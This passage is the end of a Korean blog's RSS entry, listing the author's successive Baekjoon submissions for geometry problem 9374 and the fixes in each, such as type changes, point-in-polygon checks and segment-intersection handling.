&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.acmicpc.net/status?problem_id=9374&amp;amp;user_id=skydream10&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.acmicpc.net/status?problem_id=9374&amp;amp;user_id=skydream10&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 각 소스코드 제출별 변경사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;1) 103250735: &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - 기본 발상을 토대로 코드 작성&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;2) 103251446: &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - 불필요한 for문 제거&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - 문제에 10^(-6)의 오차까지 허용한다고 했기 때문에 소수 10째 자리까지 출력할 수 있도록 변경&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;3) &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;103252973&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - 디버그용(테스트하던 중에 그냥 올려봄)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;4) &lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;103430710&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - modified_points는 double로 처리하여야하지만, int로 처리하고 있었기에 double로 수정&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;5) &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;103604144&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;103252973&lt;/span&gt;를 수정하여, modified_points 값을 처리할 때 int로 처리하도록 돌아감.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - x좌표만으로 다각형내의 점인지 판단하던 것을 y좌표까지 추가.(x좌표만 판별할시, y축에 평행한 직선에서 오류 발생 반례 확인)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;6) &lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;103604432&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - modified_points값 double로 판단.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - 코드상 오류 수정(x좌표 판단과 y좌표 판단이 별개로 이루어져 and 연산 하여야하지만, x좌표 판단부분을 묵지 않은 코드 확인)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;7) &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;103604616&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - getArea(넓이를 구하는 함수)에서 안정성을 위해 double을 long double로 변환&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;8) &lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;103604841(해결 完)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; - 한개의 선분에서 y=x, y=-x 모두 판별 가능하도록 변경(한 개의 선분에서 y=x를 판단하여, 접점이 있을 경우, y=-x를 판단하지 않아 한 선분 위에 두 개의 접점이 한 선분위에 있을 경우, 오류 발생하는 반례 확인)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #3b3b3b;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>알고리즘/백준</category>
      <category>9374</category>
      <category>BOJ</category>
      <category>boj9374</category>
      <category>감시카메라</category>
      <category>기하</category>
      <category>다각형의넓이</category>
      <category>백준</category>
      <category>선분교차판정</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/31</guid>
      <comments>https://code-learn-ing.tistory.com/31#entry31comment</comments>
      <pubDate>Sat, 7 Mar 2026 15:28:28 +0900</pubDate>
    </item>
  </channel>
</rss>